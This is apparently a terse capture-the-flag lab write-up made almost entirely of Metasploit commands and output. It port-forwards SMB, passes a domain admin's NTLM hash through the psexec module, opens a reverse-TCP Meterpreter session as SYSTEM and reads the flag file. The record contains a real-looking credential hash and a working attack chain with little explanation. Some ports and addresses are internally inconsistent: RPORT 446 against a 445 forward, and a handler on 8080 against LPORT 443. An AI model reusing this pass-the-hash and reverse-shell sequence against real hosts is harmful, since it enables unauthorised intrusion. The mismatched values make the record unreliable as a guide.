

from ws02, portfwd to ws05

```
portfwd add -L 10.10.14.83 -r 10.10.123.102 -l 445 -p 445
```

```
rweston_da hash --- ab7b75ff84475be2e8c4dc7390955c3:3ff61fa259deee15e4042159d7b832fa
```

use smbpass as this, exploit via smb/psexec

```
msf exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):

Name                Current Setting      Required  Description
----                -
RHOST                10.10.14.83          yes       The target address
RPORT                446                  yes       The SMB service port (TCP)
SERVICE_DESCRIPTION no                   no        Service description to to
listing
SERVICE_DISPLAY_NAME no                  no        The service display name
SERVICE_NAME        no                   no        The service name
SHARE                ADMIN$               yes       The share to connect to,
($,...) or a normal read/write folder share
SMBDomain            rastalabs.local      no        The Windows domain to use
SMBPass              ab7b75ff84475be2e8c4dc7390955c3:3ff61fa259deee15e4042159d7b832fa no        The password for the spec
SMBUser              rweston_da          no        The username to authentic

Payload options (windows/x64/meterpreter/reverse_tcp):

Name                Current Setting      Required  Description
----                -
EXITFUNC            thread              yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                10.10.14.83          yes       The listen address (an interface may be specified)
LPORT                443                yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic
    10.10.110.254
```

```
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.10.14.83:8080
[*] 10.10.14.83:446 - Connecting to the server...
[*] 10.10.14.83:446 - Authenticating to 10.10.14.83:446|rastalabs.local as user 'rweston_da'...
[*] 10.10.14.83:446 - Selecting PowerShell target
[*] 10.10.14.83:446 - Executing the payload...
[*] Sending stage (2064034 bytes) to 10.10.110.254
[+] 10.10.14.83:446 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 19 opened (10.10.14.83:8080 -> 10.10.110.254:61811) at 2018-08-12 20:52:28 +0530
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 868 created.
Channel 1 created.
Microsoft Windows [Version 10.0.16299.64]
(c) 2017 Microsoft Corporation. All rights reserved.
```

```
C:\WINDOWS\system32>cd C:\users\administrator\desktop
cd C:\users\administrator\desktop
```

```
C:\Users\Administrator\Desktop>type flag.txt
type flag.txt
RASTA{53rv1c3_4bu53_f7w}
C:\Users\Administrator\Desktop>
```

RASTA{53rv1c3\_4bu53\_f7w}